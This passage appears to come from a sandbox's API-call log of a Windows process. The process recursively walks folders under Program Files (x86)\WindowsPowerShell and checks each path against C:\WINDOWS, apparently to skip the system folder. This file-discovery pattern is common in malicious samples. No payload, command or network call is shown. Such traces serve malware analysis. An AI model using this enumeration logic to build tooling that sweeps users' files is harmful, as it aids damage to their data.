ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531880 [0193.244] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.244] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0193.244] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0193.244] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0193.244] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0 [0193.244] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0193.244] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0193.244] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0193.244] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell") returned 40 [0193.244] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell") returned 1 [0193.244] lstrlenW (lpString="WindowsPowerShell") returned 17 [0193.244] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="WindowsPowerShell") returned -1 [0193.244] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3750048 [0193.244] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell") returned 40 [0193.244] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531c00 [0193.244] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.244] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c737, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1 [0193.245] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration") returned 54 [0193.245] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration") returned 1 [0193.245] lstrlenW (lpString="Configuration") returned 13 [0193.245] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Configuration") returned -1 [0193.245] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x463ef98 [0193.245] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration") returned 54 [0193.245] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\*", lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c737, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531980 [0193.245] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c737, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.245] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1 [0193.245] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Registration") returned 67 [0193.245] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Registration") returned 1 [0193.245] lstrlenW (lpString="Registration") returned 12 [0193.245] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Registration") returned -1 [0193.245] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46d4f80 [0193.245] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Registration") returned 67 [0193.246] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Registration\\*", lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531780 [0193.246] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.246] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0193.246] FindClose (in: hFindFile=0x4531780 | out: hFindFile=0x4531780) returned 1 [0193.246] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0193.246] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1 [0193.246] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema") returned 61 [0193.246] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema") returned 1 [0193.246] lstrlenW (lpString="Schema") returned 6 [0193.246] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Schema") returned -1 [0193.246] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46d4f80 [0193.246] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema") returned 61 [0193.246] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\*", lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531c40 [0193.246] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.247] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0193.247] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0193.247] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0193.247] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0 [0193.247] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0193.247] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0193.247] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0193.247] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules") returned 48 [0193.247] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell\\Modules") returned 1 [0193.247] lstrlenW (lpString="Modules") returned 7 [0193.247] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Modules") returned -1 [0193.247] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x463ef98 [0193.247] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules") returned 48 [0193.247] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531e80 [0193.247] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.247] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0193.247] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation") returned 90 [0193.248] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation") returned 1 [0193.248] lstrlenW (lpString="Microsoft.PowerShell.Operation.Validation") returned 41 [0193.248] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Microsoft.PowerShell.Operation.Validation") returned -1 [0193.248] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46d4f80 [0193.248] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation") returned 90 [0193.248] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531780 [0193.248] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.248] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0193.248] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1") returned 96 [0193.248] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1") returned 1 [0193.248] lstrlenW (lpString="1.0.1") returned 5 [0193.248] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1.0.1") returned 1 [0193.248] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46e4f88 [0193.248] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1") returned 96 [0193.248] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\*", lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531980 [0193.249] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.249] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70cbfc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0193.249] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics") returned 108 [0193.249] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics") returned 1 [0193.249] lstrlenW (lpString="Diagnostics") returned 11 [0193.249] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Diagnostics") returned -1 [0193.249] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45e9760 [0193.250] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics") returned 108 [0193.250] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\*", lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70cbfc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531ec0 [0193.250] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70cbfc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.250] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70d5fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comprehensive", cAlternateFileName="COMPRE~1")) returned 1 [0193.250] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive") returned 122 [0193.251] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive") returned 1 [0193.251] lstrlenW (lpString="Comprehensive") returned 13 [0193.251] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Comprehensive") returned -1 [0193.251] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45f9768 [0193.251] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive") returned 122 [0193.251] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\*", lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70d5fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531c40 [0193.251] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70d5fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.251] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, 